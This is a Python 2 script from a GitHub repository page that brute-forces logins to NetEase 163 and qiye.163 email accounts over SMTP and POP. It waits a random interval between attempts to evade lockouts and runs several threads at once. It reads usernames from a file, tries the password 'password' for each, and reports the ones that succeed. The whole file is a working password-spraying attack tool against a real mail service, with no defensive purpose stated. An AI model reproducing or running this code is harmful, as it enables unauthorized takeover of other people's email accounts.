-
Notifications
You must be signed in to change notification settings - Fork 32
/
163_bruteforce.py
145 lines (113 loc) · 3.84 KB
/
163_bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python2
# -*- coding: utf-8 -*-
# Mail 163 Bruteforce
# Author: Nixawk
# 163 / qiye163
# pop.163.com / pop.qiye.163.com
# smtp.163.com / smtp.qiye.163.com
# imap.163.com / imap.qiye.163.com
import time
import random
import smtplib
import poplib
import threadpool
def random_sleep():
time.sleep(random.randint(2, 7))
# /* smtp bruteforce */
def smtplogin(smtpuser, smtppass, smtphost, smtpport=25):
try:
code, msg = 0, ''
smtp = smtplib.SMTP(smtphost, smtpport)
code, msg = smtp.login(smtpuser, smtppass)
# (235, 'Authentication successful')
# (535, 'Error: authentication failed')
smtp.close()
except smtplib.SMTPAuthenticationError as err:
code, msg = err
except smtplib.SMTPConnectError:
code, msg = err
# 554, 'IP is rejected, smtp auth error limit exceed,
# 163 smtp3,DdGowEAJZUITuH5W56gUAA--.924S0 1451145236')
finally:
return (smtpuser, smtppass, (code, msg))
# /* pop bruteforce */
def poplogin(popuser, poppass, pophost, popport=110):
try:
pop = poplib.POP3(pophost, popport, timeout=4)
pop.user(popuser) # '+OK core mail'
msg = pop.pass_(poppass) # '+OK 0 message(s) [0 byte(s)]'
pop.quit()
except poplib.error_proto as err:
msg = err
except poplib.socket.timeout:
msg = "pop Login timeout"
finally:
return (popuser, poppass, msg)
# /* mail.163.com */
def mail_163(username, password,
smtpserver='smtp.163.com', popserver='pop.163.com'):
smtp_login = False
pop_login = False
random_sleep()
# smtp login
user, pass_, (code, msg) = smtplogin(username, password, smtpserver)
if code == 235 and "Authentication successful" in msg:
smtp_login = True
else:
print("[-] %s: %s - smtp login - (%s: %s)" % (user, pass_, code, msg))
# pop login
user, pass_, msg = poplogin(username, password, popserver)
if ('+OK' in msg) and ('message' in msg):
pop_login = True
else:
print("[-] %s: %s - pop login - %s" % (user, pass_, msg))
if smtp_login and pop_login:
print("\033[32m[+] %s: %s - Login successfully\033[m" % (user, pass_))
return smtp_login and pop_login
# /* mail.qiye.163.com */
def qiye_163(username, password):
return mail_163(username, password,
smtpserver='smtp.qiye.163.com',
popserver='pop.qiye.163.com')
# /* multi threads to do tasks */
def multi_threads(threadnum, func, args_kwds, callback=None):
'''
def callback(request, data):
if len(data[0]['Address']) > 0:
logging.info(data)
pass
# print "callback: %s: %s" % (request.requestID, data)
'''
def exp_callback(request, exc_info):
pass
requests = threadpool.makeRequests(func,
args_kwds,
callback,
exp_callback)
pool = threadpool.ThreadPool(threadnum)
[pool.putRequest(req) for req in requests]
while True:
try:
pool.poll()
except KeyboardInterrupt:
break
except threadpool.NoResultsPending:
break
if pool.dismissedWorkers:
pool.joinAllDismissedWorkers()
if __name__ == '__main__':
# mail.163.com
"""
username = 'test'
password = 'testpassword'
mail_163(username, password,
smtpserver='smtp.163.com', popserver='pop.163.com')
# mail.qiye.163.com
username = "test@company.com"
password = "test@2015"
mail_163(username, password,
smtpserver='smtp.qiye.163.com', popserver='pop.qiye.163.com')
"""
with open("/tmp/users.txt") as wdf:
args_kwds = [((username.strip(), "password"), {}) for username in wdf]
multi_threads(10, qiye_163, args_kwds)